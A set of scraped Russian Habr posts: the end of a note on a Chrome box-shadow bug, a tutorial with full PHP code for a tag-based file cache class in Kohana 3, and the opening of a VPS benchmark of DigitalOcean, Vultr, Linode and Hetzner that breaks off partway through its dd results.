Вам может показаться, что `box-shadow` таких размеров встречается нечасто, и вы будете неправы. Фоновое изображение размером 1980px встречаются крайне часто на больших экранах, и, к сожалению, другого способа их качественной обработки, кроме `box-shadow`, нет. Я надеюсь, что команда Chrome закроет этот баг.
Удачи вам в ваших проектах. | https://habr.com/ru/post/243909/ | null | ru | null |
# Первичный кэш в Kohana 3 с использованием тегов
Приведенный пример является результатом решения одной задачи, которая возникла при разработке системы управления сайтом на фреймворке Kohana 3.1, в которой предполагается одна учетная запись администратора и множество незарегистрированных читателей.
Требовалось надолго кэшировать результаты работы методов моделей, которые обращаются к базе данных. Фактически, требовалось создавать копии наборов данных из базы, чтобы снизить нагрузку на СУБД. Для немедленного обновления кэша при добавлении новых данных или обновления старых требовалась очистка кэша по тегам.
Учитывая все это, и в связи с ограничениями используемых хостингов требования были следующие:
* Кэш должен храниться в файлах.
* Кэш должен храниться долго, для увеличения скорости извлечения данных и снижения нагрузки на СУБД.
* При обновлении данных администратором сайта, кэш, содержащий устаревшие данные должен очищаться, причем, очищаться должен не только кэш результатов функций, напрямую извлекающих эти данные из базы, но и тех, результаты которых связаны с этими данными (например, при удалении рубрики каталога должен очищаться кэш списков позиций рубрик). Для достижения этой цели должны поддерживаться теги.
* Ради достижения цели можно в определенных рамках пожертвовать временем, уходящим на добавление новых материалов, и которое будет затрачено в том числе на очистку кэша, так они добавляются «своим человеком», а не сторонними пользователями.
Стандартный класс `Cache_File` не поддерживает теги, по этой причине потребовалось писать свой класс, ему было дано имя `JetCache`.
Класс спроектирован по шаблону «одиночка». Рассмотрим пример работы класса в модели для банка файлов. При инициализации модели создается экземпляр:
```
$this->cache = JetCache::instance();
```
Создание кэша данных рассмотрим на примере функции для извлечения списка файлов определенной рубрики (здесь из нее удалены некоторые аргументы и некоторый код для упрощения чтения):
```
//Вернуть список файлов рубрики
/**
*
* @param int $rubricId Id рубрики в БД
* @return array
*/
public function getFiles($rubricId)
{
//!!! В случае, если удается получить информацию из кэша,
//вернуть эту информацию
$key = 'filebank_get_files'.$rubricId;
$arResult = $this->cache->get($key);
if (is_array($arResult)) {
return $arResult;
}
$arResult = array();
$arParams = array();
$arParams[':rubricId'] = $rubricId;
$query = "
SELECT
*
FROM
`filebank_files`
WHERE
`rubric_id`=:rubricId
ORDER BY
`time` DESC,
`name` ASC
";
$arResult['files'] = DB::query(Database::SELECT, $query)
->parameters($arParams)
->execute()
->as_array();
//!!! Внести в кэш результат работы
$this->cache->set($key, $arResult, array('filebank_rubrics', 'filebank_files'));
return $arResult;
}
```
Таким образом, запись к кэше делается с ключом `$key = 'filebank_get_files'.$rubricId` и тегами «filebank\_rubrics» и «filebank\_files», то есть, очищать эту запись требуется при обновлении информации о рубриках и непосредственно файлах.
Для примера очистки кэша по тегам рассмотрим функцию для удаления рубрики. В свойстве `cacheRegExp` содержится регулярное выражение для имен файлов (ключей), из которых необходимо извлекать теги для проверки. То есть, проверка двойная: сначала проверка имени файла по регулярному выражению, потом — проверка тегов.
```
protected $cacheRegExp = '/^filebank/';
//Удалить рубрику
public function delRubric($rubricId)
{
$query = '
SELECT
`name`
FROM
`filebank_files`
WHERE
`rubric_id`=:rubricId
';
$arFiles = DB::query(Database::SELECT, $query)
->param(':rubricId', $rubricId)
->execute()
->as_array();
$arFiles = Arr::path($arFiles, '*.name');
$this->delFiles($arFiles);
$query = '
DELETE FROM
`filebank_rubrics`
WHERE
`rubric_id`=:rubricId
';
DB::query(Database::DELETE, $query)
->param(':rubricId', $rubricId)
->execute();
//!!! Очистка кэша по тегам
$tags = array('filebank_rubrics', 'filebank_files');
$this->cache->delete_by_tags($tags, $this->cacheRegExp);
}
```
То есть, после удаления рубрики очищается кэш данных, связанных с рубриками и позициями в рубриках.
Таким образом, была добавлена возможность первичного долговременного кэширования данных. На уровне контроллеров можно так же использовать кратковременное кэширование с помощью стандартного модуля «Cache» с файловым драйвером.
В случае больших проектов, где требуется высокая скорость очищения кэша или добавление информации пользователями, конечно, лучше использовать специальные решения. Например, драйверы «Memcached-tag» или «Xcache» модуля «Cache». Но для небольших сайтов, администрируемых одним человеком или небольшой группой людей, при использовании хостингов без предоставления специальных инструментов для кэширования, это решение подходит хорошо.
Файлы, в которых хранится кэш, содержатся в одной директории и имеют следующую структуру:
`Время, после которого запись считается устаревшей (unix timestamp)\n
Список тегов через запятую\n
Сериализованные данные\n`
Наконец, приведу полный код класса:
```
php defined('SYSPATH') or die('No direct access allowed.');
class JetCache
{
protected static $instance = NULL;
protected static $config;
protected static $cache_dir;
protected static $cache_time;
public static function instance()
{
if (is_null(self::$instance)) {
self::$instance = new self();
}
return self::$instance;
}
protected function __construct()
{
self::$config = Kohana::config('jethelix')-default;
self::$cache_dir = self::$config['jet_cache_dir'];
if (!is_dir(self::$cache_dir))
{
$oldUmask = umask(0000);
if (!mkdir(self::$cache_dir, 0777, TRUE)) {
$message = 'Неверная директория для модуля JetCache';
throw new Exception($message);
}
umask($oldUmask);
}
self::$cache_time = self::$config['jet_cache'];
}
protected function __clone() {
}
public function set($id, $data, array $tags=array(), $lifetime=NULL)
{
if (!$lifetime) {
$lifetime = self::$cache_time;
}
$filename = self::$cache_dir . '/' . $id . '.txt';
$expires = time() + (int)$lifetime;
$tagString = implode(',', $tags);
$serData = serialize($data);
$content = $expires . "\n" . $tagString . "\n" . $serData;
try {
file_put_contents($filename, $content);
}
catch (Exception $e) {
return FALSE;
}
return TRUE;
}
public function get($id)
{
$filename = self::$cache_dir . '/' . $id . '.txt';
if (!is_file($filename)) {
return NULL;
}
try {
$content = file_get_contents($filename);
}
catch (Exception $e) {
return NULL;
}
$arContent = explode("\n", $content);
unset ($content);
try {
if ($arContent[0] < time()) {
return NULL;
}
$data = unserialize($arContent[2]);
return $data;
}
catch (Exception $e) {
return NULL;
}
}
public function delete($id)
{
$filename = self::$cache_dir . '/' . $id . '.txt';
try {
unlink($filename);
}
catch (Exception $e) {
return FALSE;
}
return TRUE;
}
public function garbage_collect()
{
$dir = opendir(self::$cache_dir);
while ($file = readdir($dir))
{
$fullName = self::$cache_dir . '/'. $file;
if (!is_file($fullName)) {
continue;
}
try {
$this->_deleteIfExpires($fullName);
}
catch (Exception $e) {
return FALSE;
}
}
return TRUE;
}
protected function _deleteIfExpires($filename)
{
$fhandle = fopen($filename, 'r');
$expires = (int)fgets($fhandle);
fclose($fhandle);
if ($expires < time()) {
unlink($filename);
}
}
public function delete_by_tags(array $tags, $filenameRegExp=NULL)
{
$this->garbage_collect();
try {
$arFiles = $this->_getTaggedFiles($tags, $filenameRegExp);
$this->_deleteFiles($arFiles);
}
catch (Exception $e) {
return FALSE;
}
return TRUE;
}
protected function _getTaggedFiles(array $needTags, $filenameRegExp)
{
$taggedFiles = array();
$dir = opendir(self::$cache_dir);
while ($file = readdir($dir))
{
$fullName = self::$cache_dir . '/' . $file;
if (!is_file($fullName)) {
continue;
}
if ($filenameRegExp && !preg_match($filenameRegExp, $file)) {
continue;
}
$hasTags = $this->_getTagsFromFile($fullName);
$isValid = $this->_tagsValidate($needTags, $hasTags);
if ($isValid) {
$taggedFiles[] = $fullName;
}
}
return $taggedFiles;
}
protected function _getTagsFromFile($filename)
{
$fhandler = fopen($filename, 'r');
fgets($fhandler);
$tagString = fgets($fhandler);
fclose($fhandler);
$tagString = trim($tagString);
$arTags = explode(',', $tagString);
return $arTags;
}
protected function _tagsValidate(array $needTags, array $hasTags)
{
foreach ($needTags as $tag) {
if (in_array($tag, $hasTags)) {
return TRUE;
}
}
return FALSE;
}
protected function _deleteFiles(array $files)
{
foreach ($files as $filename) {
unlink($filename);
}
}
}
``` | https://habr.com/ru/post/119588/ | null | ru | null |
# Тестирование виртуальных серверов от DigitalOcean, Vultr, Linode и Hetzner. Человеческие жертвы: 0.0
В одной из предыдущих статей я привел результаты [тестирования дешевых виртуальных серверов](https://habr.com/ru/post/467953/) от различных хостеров рунета. Спасибо всем комментаторам и людям, писавшим в личные сообщения, за обратную связь.
В этот раз я хочу представить результаты тестирования виртуальных серверов от известных и крупных компаний: [DigitalOcean](https://www.digitalocean.com), [Vultr](https://www.vultr.com), [Linode](https://www.linode.com) и [Hetzner](https://www.hetzner.de). Сделано 38 тестов для всех доступных локаций.
[](https://habr.com/ru/post/480674/#habracut)
Хотя характеристики виртуальных серверов на этот раз очень близки, но все же стоит напомнить, что формат тестирования не слишком объективен, и результаты стоит рассматривать с определенной долей иронии, так как измеренные величины весьма относительны.
Как и в прошлый раз тестирование проводилось при помощи unixbench, dd, fio, speedtest, работающих на Debian 9, параметры не менялись (два теста dd: блоками по 64K и 1M; четыре теста fio: в режимах random read, random direct read, random write и random direct write).
Описание тарифов и цены:
| Хостер | Объем диска / Ресурсы процессора / Оперативная память | Цена |
| --- | --- | --- |
| [DigitalOcean](#digitalocean) | 25 GB SSD
CA, DE, IN, NL, US (CA) — 1x 2.2 GHz (Intel Xeon E5-2650v4);
SG, UK, US (NY) — 1x 2.3 GHz (Intel Xeon Gold 6140)
1 GB (MemTotal: 1020380 kB) | $5 / месяц (~313 рублей) |
| [Vultr](#vultr) | 25 GB SSD
AU, DE, FR, JP, NL, SG, UK, US (GA, IL, TX, CA, FL, NJ, WA) — 1x 2.4 GHz (vCPU);
CA — 1x 2.6 GHz (vCPU)
1 GB (MemTotal: 1020268 kB) | $5 / месяц (~313 рублей) |
| [Linode](#linode) | 25 GB SSD
AU, US (NJ) — 1x 2.2 GHz (AMD EPYC 7601);
CA, DE, IN, US (GA) — 1x 2 GHz (AMD EPYC 7501);
JP, SG, US (CA, TX) — 1x 2.3 GHz (Intel Xeon E5-2697v4);
UK — 1x 2.5 GHz (Intel Xeon E5-2680v3);
1 GB (MemTotal: 1020264 kB) | $5 / месяц (~313 рублей) |
| [Hetzner](#hetzner) | 20 GB NVMe SSD
DE (Фалькенштейн) — 1x 2.3 GHz (Intel Xeon Skylake);
DE (Нюрнберг), FI — 1x 2.1 GHz (Intel Xeon Skylake)
2 GB (MemTotal: 2003300 kB) | 2.99€ / месяц (~208 рублей) |
Результаты тестов находятся под спойлерами, а графики — [в конце статьи](#results).
### Виртуальный сервер от DigitalOcean:
* тариф Standard Droplet (25 GB SSD / 1x vCPU / 1 GB RAM / 1000 Mbit/s за $5 в месяц);
* дата-центры в Великобритании, Германии, Канаде, Индии, Нидерландах, Сингапуре, США.
#### Тесты:
**Unixbench (Канада, Торонто)**
```
BYTE UNIX Benchmarks (Version 5.1.3)
System: debian-s-1vcpu-1gb-tor1-01: GNU/Linux
OS: GNU/Linux -- 4.9.0-11-amd64 -- #1 SMP Debian 4.9.189-3+deb9u1 (2019-09-20)
Machine: x86_64 (unknown)
Language: en_US.utf8 (charmap="UTF-8", collate="UTF-8")
CPU 0: Intel(R) Xeon(R) CPU E5-2650 v4 @ 2.20GHz (4400.0 bogomips)
x86-64, MMX, Physical Address Ext, SYSENTER/SYSEXIT, SYSCALL/SYSRET, Intel virtualization
15:52:08 up 6 min, 1 user, load average: 0.86, 0.44, 0.19; runlevel 5
------------------------------------------------------------------------
Benchmark Run: Sun Dec 15 2019 15:52:08 - 16:19:36
1 CPU in system; running 1 parallel copy of tests
Dhrystone 2 using register variables 17067275.6 lps (10.0 s, 7 samples)
Double-Precision Whetstone 3581.7 MWIPS (6.4 s, 7 samples)
Execl Throughput 2166.6 lps (29.7 s, 2 samples)
File Copy 1024 bufsize 2000 maxblocks 244701.5 KBps (30.0 s, 2 samples)
File Copy 256 bufsize 500 maxblocks 71178.2 KBps (30.0 s, 2 samples)
File Copy 4096 bufsize 8000 maxblocks 663117.5 KBps (30.0 s, 2 samples)
Pipe Throughput 334042.9 lps (10.0 s, 7 samples)
Pipe-based Context Switching 58850.2 lps (10.0 s, 7 samples)
Process Creation 4662.5 lps (30.0 s, 2 samples)
Shell Scripts (1 concurrent) 2937.6 lpm (60.0 s, 2 samples)
Shell Scripts (8 concurrent) 393.6 lpm (60.1 s, 2 samples)
System Call Overhead 230331.4 lps (10.0 s, 7 samples)
System Benchmarks Index Values BASELINE RESULT INDEX
Dhrystone 2 using register variables 116700.0 17067275.6 1462.5
Double-Precision Whetstone 55.0 3581.7 651.2
Execl Throughput 43.0 2166.6 503.9
File Copy 1024 bufsize 2000 maxblocks 3960.0 244701.5 617.9
File Copy 256 bufsize 500 maxblocks 1655.0 71178.2 430.1
File Copy 4096 bufsize 8000 maxblocks 5800.0 663117.5 1143.3
Pipe Throughput 12440.0 334042.9 268.5
Pipe-based Context Switching 4000.0 58850.2 147.1
Process Creation 126.0 4662.5 370.0
Shell Scripts (1 concurrent) 42.4 2937.6 692.8
Shell Scripts (8 concurrent) 6.0 393.6 656.0
System Call Overhead 15000.0 230331.4 153.6
========
System Benchmarks Index Score 479.8
```
**Unixbench (Германия, Франкфурт)**
```
BYTE UNIX Benchmarks (Version 5.1.3)
System: debian-s-1vcpu-1gb-fra1-01: GNU/Linux
OS: GNU/Linux -- 4.9.0-11-amd64 -- #1 SMP Debian 4.9.189-3+deb9u1 (2019-09-20)
Machine: x86_64 (unknown)
Language: en_US.utf8 (charmap="UTF-8", collate="UTF-8")
CPU 0: Intel(R) Xeon(R) CPU E5-2650 v4 @ 2.20GHz (4400.0 bogomips)
x86-64, MMX, Physical Address Ext, SYSENTER/SYSEXIT, SYSCALL/SYSRET, Intel virtualization
23:37:04 up 3 min, 1 user, load average: 0.66, 0.24, 0.09; runlevel 5
------------------------------------------------------------------------
Benchmark Run: Fri Dec 13 2019 23:37:04 - 00:05:10
1 CPU in system; running 1 parallel copy of tests
Dhrystone 2 using register variables 26912014.0 lps (10.0 s, 7 samples)
Double-Precision Whetstone 4483.5 MWIPS (9.9 s, 7 samples)
Execl Throughput 3672.5 lps (30.0 s, 2 samples)
File Copy 1024 bufsize 2000 maxblocks 463711.6 KBps (30.0 s, 2 samples)
File Copy 256 bufsize 500 maxblocks 126002.9 KBps (30.0 s, 2 samples)
File Copy 4096 bufsize 8000 maxblocks 1201991.6 KBps (30.0 s, 2 samples)
Pipe Throughput 630949.6 lps (10.0 s, 7 samples)
Pipe-based Context Switching 99295.5 lps (10.0 s, 7 samples)
Process Creation 8599.9 lps (30.0 s, 2 samples)
Shell Scripts (1 concurrent) 6028.7 lpm (60.0 s, 2 samples)
Shell Scripts (8 concurrent) 780.4 lpm (60.0 s, 2 samples)
System Call Overhead 355362.1 lps (10.0 s, 7 samples)
System Benchmarks Index Values BASELINE RESULT INDEX
Dhrystone 2 using register variables 116700.0 26912014.0 2306.1
Double-Precision Whetstone 55.0 4483.5 815.2
Execl Throughput 43.0 3672.5 854.1
File Copy 1024 bufsize 2000 maxblocks 3960.0 463711.6 1171.0
File Copy 256 bufsize 500 maxblocks 1655.0 126002.9 761.3
File Copy 4096 bufsize 8000 maxblocks 5800.0 1201991.6 2072.4
Pipe Throughput 12440.0 630949.6 507.2
Pipe-based Context Switching 4000.0 99295.5 248.2
Process Creation 126.0 8599.9 682.5
Shell Scripts (1 concurrent) 42.4 6028.7 1421.9
Shell Scripts (8 concurrent) 6.0 780.4 1300.6
System Call Overhead 15000.0 355362.1 236.9
========
System Benchmarks Index Score 833.0
```
**Unixbench (Индия, Бангалор)**
```
BYTE UNIX Benchmarks (Version 5.1.3)
System: debian-s-1vcpu-1gb-blr1-01: GNU/Linux
OS: GNU/Linux -- 4.9.0-11-amd64 -- #1 SMP Debian 4.9.189-3+deb9u1 (2019-09-20)
Machine: x86_64 (unknown)
Language: en_US.utf8 (charmap="UTF-8", collate="UTF-8")
CPU 0: Intel(R) Xeon(R) CPU E5-2650 v4 @ 2.20GHz (4400.0 bogomips)
x86-64, MMX, Physical Address Ext, SYSENTER/SYSEXIT, SYSCALL/SYSRET, Intel virtualization
18:52:38 up 3 min, 1 user, load average: 0.66, 0.24, 0.09; runlevel 5
------------------------------------------------------------------------
Benchmark Run: Sun Dec 15 2019 18:52:38 - 19:20:46
1 CPU in system; running 1 parallel copy of tests
Dhrystone 2 using register variables 23572479.8 lps (10.0 s, 7 samples)
Double-Precision Whetstone 4128.6 MWIPS (10.0 s, 7 samples)
Execl Throughput 3005.2 lps (30.0 s, 2 samples)
File Copy 1024 bufsize 2000 maxblocks 350138.9 KBps (30.0 s, 2 samples)
File Copy 256 bufsize 500 maxblocks 95265.1 KBps (30.0 s, 2 samples)
File Copy 4096 bufsize 8000 maxblocks 982227.6 KBps (30.0 s, 2 samples)
Pipe Throughput 532053.3 lps (10.0 s, 7 samples)
Pipe-based Context Switching 85820.9 lps (10.0 s, 7 samples)
Process Creation 7340.8 lps (30.0 s, 2 samples)
Shell Scripts (1 concurrent) 4636.3 lpm (60.0 s, 2 samples)
Shell Scripts (8 concurrent) 597.8 lpm (60.1 s, 2 samples)
System Call Overhead 308446.2 lps (10.0 s, 7 samples)
System Benchmarks Index Values BASELINE RESULT INDEX
Dhrystone 2 using register variables 116700.0 23572479.8 2019.9
Double-Precision Whetstone 55.0 4128.6 750.6
Execl Throughput 43.0 3005.2 698.9
File Copy 1024 bufsize 2000 maxblocks 3960.0 350138.9 884.2
File Copy 256 bufsize 500 maxblocks 1655.0 95265.1 575.6
File Copy 4096 bufsize 8000 maxblocks 5800.0 982227.6 1693.5
Pipe Throughput 12440.0 532053.3 427.7
Pipe-based Context Switching 4000.0 85820.9 214.6
Process Creation 126.0 7340.8 582.6
Shell Scripts (1 concurrent) 42.4 4636.3 1093.5
Shell Scripts (8 concurrent) 6.0 597.8 996.3
System Call Overhead 15000.0 308446.2 205.6
========
System Benchmarks Index Score 686.4
```
**Unixbench (Нидерланды, Амстердам)**
```
BYTE UNIX Benchmarks (Version 5.1.3)
System: debian-s-1vcpu-1gb-ams3-01: GNU/Linux
OS: GNU/Linux -- 4.9.0-11-amd64 -- #1 SMP Debian 4.9.189-3+deb9u1 (2019-09-20)
Machine: x86_64 (unknown)
Language: en_US.utf8 (charmap="UTF-8", collate="UTF-8")
CPU 0: Intel(R) Xeon(R) CPU E5-2650 v4 @ 2.20GHz (4400.0 bogomips)
x86-64, MMX, Physical Address Ext, SYSENTER/SYSEXIT, SYSCALL/SYSRET, Intel virtualization
14:12:24 up 6 min, 1 user, load average: 0.90, 0.34, 0.12; runlevel 5
------------------------------------------------------------------------
Benchmark Run: Wed Dec 11 2019 14:12:24 - 14:40:37
1 CPU in system; running 1 parallel copy of tests
Dhrystone 2 using register variables 18016981.9 lps (10.0 s, 7 samples)
Double-Precision Whetstone 3729.2 MWIPS (10.1 s, 7 samples)
Execl Throughput 2416.3 lps (30.0 s, 2 samples)
File Copy 1024 bufsize 2000 maxblocks 283772.5 KBps (30.0 s, 2 samples)
File Copy 256 bufsize 500 maxblocks 76113.2 KBps (30.0 s, 2 samples)
File Copy 4096 bufsize 8000 maxblocks 826905.7 KBps (30.0 s, 2 samples)
Pipe Throughput 461320.6 lps (10.0 s, 7 samples)
Pipe-based Context Switching 71653.1 lps (10.0 s, 7 samples)
Process Creation 5727.0 lps (30.0 s, 2 samples)
Shell Scripts (1 concurrent) 3489.5 lpm (60.0 s, 2 samples)
Shell Scripts (8 concurrent) 445.3 lpm (60.2 s, 2 samples)
System Call Overhead 276916.2 lps (10.0 s, 7 samples)
System Benchmarks Index Values BASELINE RESULT INDEX
Dhrystone 2 using register variables 116700.0 18016981.9 1543.9
Double-Precision Whetstone 55.0 3729.2 678.0
Execl Throughput 43.0 2416.3 561.9
File Copy 1024 bufsize 2000 maxblocks 3960.0 283772.5 716.6
File Copy 256 bufsize 500 maxblocks 1655.0 76113.2 459.9
File Copy 4096 bufsize 8000 maxblocks 5800.0 826905.7 1425.7
Pipe Throughput 12440.0 461320.6 370.8
Pipe-based Context Switching 4000.0 71653.1 179.1
Process Creation 126.0 5727.0 454.5
Shell Scripts (1 concurrent) 42.4 3489.5 823.0
Shell Scripts (8 concurrent) 6.0 445.3 742.2
System Call Overhead 15000.0 276916.2 184.6
========
System Benchmarks Index Score 559.5
```
**Unixbench (Сингапур)**
```
BYTE UNIX Benchmarks (Version 5.1.3)
System: debian-s-1vcpu-1gb-sgp1-01: GNU/Linux
OS: GNU/Linux -- 4.9.0-11-amd64 -- #1 SMP Debian 4.9.189-3+deb9u1 (2019-09-20)
Machine: x86_64 (unknown)
Language: en_US.utf8 (charmap="UTF-8", collate="UTF-8")
CPU 0: Intel(R) Xeon(R) Gold 6140 CPU @ 2.30GHz (4589.2 bogomips)
x86-64, MMX, Physical Address Ext, SYSENTER/SYSEXIT, SYSCALL/SYSRET, Intel virtualization
18:08:59 up 3 min, 1 user, load average: 0.75, 0.27, 0.09; runlevel 5
------------------------------------------------------------------------
Benchmark Run: Wed Dec 11 2019 18:08:59 - 18:37:08
1 CPU in system; running 1 parallel copy of tests
Dhrystone 2 using register variables 26210094.9 lps (10.0 s, 7 samples)
Double-Precision Whetstone 3688.2 MWIPS (9.9 s, 7 samples)
Execl Throughput 3280.2 lps (29.9 s, 2 samples)
File Copy 1024 bufsize 2000 maxblocks 395957.3 KBps (30.0 s, 2 samples)
File Copy 256 bufsize 500 maxblocks 105354.4 KBps (30.0 s, 2 samples)
File Copy 4096 bufsize 8000 maxblocks 1118194.8 KBps (30.0 s, 2 samples)
Pipe Throughput 627972.2 lps (10.0 s, 7 samples)
Pipe-based Context Switching 86900.0 lps (10.0 s, 7 samples)
Process Creation 7904.4 lps (30.0 s, 2 samples)
Shell Scripts (1 concurrent) 4941.1 lpm (60.0 s, 2 samples)
Shell Scripts (8 concurrent) 631.0 lpm (60.1 s, 2 samples)
System Call Overhead 368192.7 lps (10.0 s, 7 samples)
System Benchmarks Index Values BASELINE RESULT INDEX
Dhrystone 2 using register variables 116700.0 26210094.9 2245.9
Double-Precision Whetstone 55.0 3688.2 670.6
Execl Throughput 43.0 3280.2 762.8
File Copy 1024 bufsize 2000 maxblocks 3960.0 395957.3 999.9
File Copy 256 bufsize 500 maxblocks 1655.0 105354.4 636.6
File Copy 4096 bufsize 8000 maxblocks 5800.0 1118194.8 1927.9
Pipe Throughput 12440.0 627972.2 504.8
Pipe-based Context Switching 4000.0 86900.0 217.3
Process Creation 126.0 7904.4 627.3
Shell Scripts (1 concurrent) 42.4 4941.1 1165.3
Shell Scripts (8 concurrent) 6.0 631.0 1051.6
System Call Overhead 15000.0 368192.7 245.5
========
System Benchmarks Index Score 744.9
```
**Unixbench (Великобритания, Лондон)**
```
BYTE UNIX Benchmarks (Version 5.1.3)
System: debian-s-1vcpu-1gb-lon1-01: GNU/Linux
OS: GNU/Linux -- 4.9.0-11-amd64 -- #1 SMP Debian 4.9.189-3+deb9u1 (2019-09-20)
Machine: x86_64 (unknown)
Language: en_US.utf8 (charmap="UTF-8", collate="UTF-8")
CPU 0: Intel(R) Xeon(R) Gold 6140 CPU @ 2.30GHz (4589.2 bogomips)
x86-64, MMX, Physical Address Ext, SYSENTER/SYSEXIT, SYSCALL/SYSRET, Intel virtualization
12:30:15 up 8 min, 1 user, load average: 0.71, 0.24, 0.08; runlevel 5
------------------------------------------------------------------------
Benchmark Run: Thu Dec 12 2019 12:30:15 - 12:58:24
1 CPU in system; running 1 parallel copy of tests
Dhrystone 2 using register variables 31577703.9 lps (10.0 s, 7 samples)
Double-Precision Whetstone 4164.5 MWIPS (9.8 s, 7 samples)
Execl Throughput 3746.2 lps (30.0 s, 2 samples)
File Copy 1024 bufsize 2000 maxblocks 449769.6 KBps (30.0 s, 2 samples)
File Copy 256 bufsize 500 maxblocks 127650.7 KBps (30.0 s, 2 samples)
File Copy 4096 bufsize 8000 maxblocks 1238103.8 KBps (30.0 s, 2 samples)
Pipe Throughput 684221.5 lps (10.0 s, 7 samples)
Pipe-based Context Switching 97428.3 lps (10.0 s, 7 samples)
Process Creation 9107.5 lps (30.0 s, 2 samples)
Shell Scripts (1 concurrent) 5976.2 lpm (60.0 s, 2 samples)
Shell Scripts (8 concurrent) 746.2 lpm (60.0 s, 2 samples)
System Call Overhead 405652.2 lps (10.0 s, 7 samples)
System Benchmarks Index Values BASELINE RESULT INDEX
Dhrystone 2 using register variables 116700.0 31577703.9 2705.9
Double-Precision Whetstone 55.0 4164.5 757.2
Execl Throughput 43.0 3746.2 871.2
File Copy 1024 bufsize 2000 maxblocks 3960.0 449769.6 1135.8
File Copy 256 bufsize 500 maxblocks 1655.0 127650.7 771.3
File Copy 4096 bufsize 8000 maxblocks 5800.0 1238103.8 2134.7
Pipe Throughput 12440.0 684221.5 550.0
Pipe-based Context Switching 4000.0 97428.3 243.6
Process Creation 126.0 9107.5 722.8
Shell Scripts (1 concurrent) 42.4 5976.2 1409.5
Shell Scripts (8 concurrent) 6.0 746.2 1243.6
System Call Overhead 15000.0 405652.2 270.4
========
System Benchmarks Index Score 855.3
```
**Unixbench (США, Нью-Йорк)**
```
BYTE UNIX Benchmarks (Version 5.1.3)
System: debian-s-1vcpu-1gb-nyc3-01: GNU/Linux
OS: GNU/Linux -- 4.9.0-11-amd64 -- #1 SMP Debian 4.9.189-3+deb9u1 (2019-09-20)
Machine: x86_64 (unknown)
Language: en_US.utf8 (charmap="UTF-8", collate="UTF-8")
CPU 0: Intel(R) Xeon(R) Gold 6140 CPU @ 2.30GHz (4589.2 bogomips)
x86-64, MMX, Physical Address Ext, SYSENTER/SYSEXIT, SYSCALL/SYSRET, Intel virtualization
13:10:48 up 4 min, 1 user, load average: 0.61, 0.24, 0.09; runlevel 5
------------------------------------------------------------------------
Benchmark Run: Wed Dec 04 2019 13:10:48 - 13:38:54
1 CPU in system; running 1 parallel copy of tests
Dhrystone 2 using register variables 31830632.4 lps (10.0 s, 7 samples)
Double-Precision Whetstone 4067.9 MWIPS (9.9 s, 7 samples)
Execl Throughput 3892.2 lps (29.5 s, 2 samples)
File Copy 1024 bufsize 2000 maxblocks 484700.4 KBps (30.0 s, 2 samples)
File Copy 256 bufsize 500 maxblocks 143546.1 KBps (30.0 s, 2 samples)
File Copy 4096 bufsize 8000 maxblocks 1306057.4 KBps (30.0 s, 2 samples)
Pipe Throughput 782935.5 lps (10.0 s, 7 samples)
Pipe-based Context Switching 109443.7 lps (10.0 s, 7 samples)
Process Creation 10168.3 lps (30.0 s, 2 samples)
Shell Scripts (1 concurrent) 6770.7 lpm (60.0 s, 2 samples)
Shell Scripts (8 concurrent) 864.3 lpm (60.0 s, 2 samples)
System Call Overhead 470032.5 lps (10.0 s, 7 samples)
System Benchmarks Index Values BASELINE RESULT INDEX
Dhrystone 2 using register variables 116700.0 31830632.4 2727.6
Double-Precision Whetstone 55.0 4067.9 739.6
Execl Throughput 43.0 3892.2 905.2
File Copy 1024 bufsize 2000 maxblocks 3960.0 484700.4 1224.0
File Copy 256 bufsize 500 maxblocks 1655.0 143546.1 867.3
File Copy 4096 bufsize 8000 maxblocks 5800.0 1306057.4 2251.8
Pipe Throughput 12440.0 782935.5 629.4
Pipe-based Context Switching 4000.0 109443.7 273.6
Process Creation 126.0 10168.3 807.0
Shell Scripts (1 concurrent) 42.4 6770.7 1596.9
Shell Scripts (8 concurrent) 6.0 864.3 1440.5
System Call Overhead 15000.0 470032.5 313.4
========
System Benchmarks Index Score 933.4
```
**Unixbench (США, Сан-Франциско)**
```
BYTE UNIX Benchmarks (Version 5.1.3)
System: debian-s-1vcpu-1gb-sfo2-01: GNU/Linux
OS: GNU/Linux -- 4.9.0-11-amd64 -- #1 SMP Debian 4.9.189-3+deb9u1 (2019-09-20)
Machine: x86_64 (unknown)
Language: en_US.utf8 (charmap="UTF-8", collate="UTF-8")
CPU 0: Intel(R) Xeon(R) CPU E5-2650 v4 @ 2.20GHz (4400.0 bogomips)
x86-64, MMX, Physical Address Ext, SYSENTER/SYSEXIT, SYSCALL/SYSRET, Intel virtualization
07:32:35 up 4 min, 1 user, load average: 0.85, 0.38, 0.15; runlevel 5
------------------------------------------------------------------------
Benchmark Run: Thu Dec 05 2019 07:32:35 - 08:00:35
1 CPU in system; running 1 parallel copy of tests
Dhrystone 2 using register variables 18731484.4 lps (10.0 s, 7 samples)
Double-Precision Whetstone 3866.3 MWIPS (9.2 s, 7 samples)
Execl Throughput 2473.3 lps (30.0 s, 2 samples)
File Copy 1024 bufsize 2000 maxblocks 289169.4 KBps (30.0 s, 2 samples)
File Copy 256 bufsize 500 maxblocks 81647.3 KBps (30.0 s, 2 samples)
File Copy 4096 bufsize 8000 maxblocks 839008.9 KBps (30.0 s, 2 samples)
Pipe Throughput 464945.7 lps (10.0 s, 7 samples)
Pipe-based Context Switching 70296.3 lps (10.0 s, 7 samples)
Process Creation 6041.0 lps (30.0 s, 2 samples)
Shell Scripts (1 concurrent) 3583.0 lpm (60.0 s, 2 samples)
Shell Scripts (8 concurrent) 458.9 lpm (60.2 s, 2 samples)
System Call Overhead 272373.3 lps (10.0 s, 7 samples)
System Benchmarks Index Values BASELINE RESULT INDEX
Dhrystone 2 using register variables 116700.0 18731484.4 1605.1
Double-Precision Whetstone 55.0 3866.3 703.0
Execl Throughput 43.0 2473.3 575.2
File Copy 1024 bufsize 2000 maxblocks 3960.0 289169.4 730.2
File Copy 256 bufsize 500 maxblocks 1655.0 81647.3 493.3
File Copy 4096 bufsize 8000 maxblocks 5800.0 839008.9 1446.6
Pipe Throughput 12440.0 464945.7 373.8
Pipe-based Context Switching 4000.0 70296.3 175.7
Process Creation 126.0 6041.0 479.4
Shell Scripts (1 concurrent) 42.4 3583.0 845.0
Shell Scripts (8 concurrent) 6.0 458.9 764.9
System Call Overhead 15000.0 272373.3 181.6
========
System Benchmarks Index Score 572.9
```
**dd (Канада, Торонто)**Блоками по 1M
```
2048+0 records in
2048+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 6.32407 s, 340 MB/s
```
Блоками по 64K
```
32768+0 records in
32768+0 records out
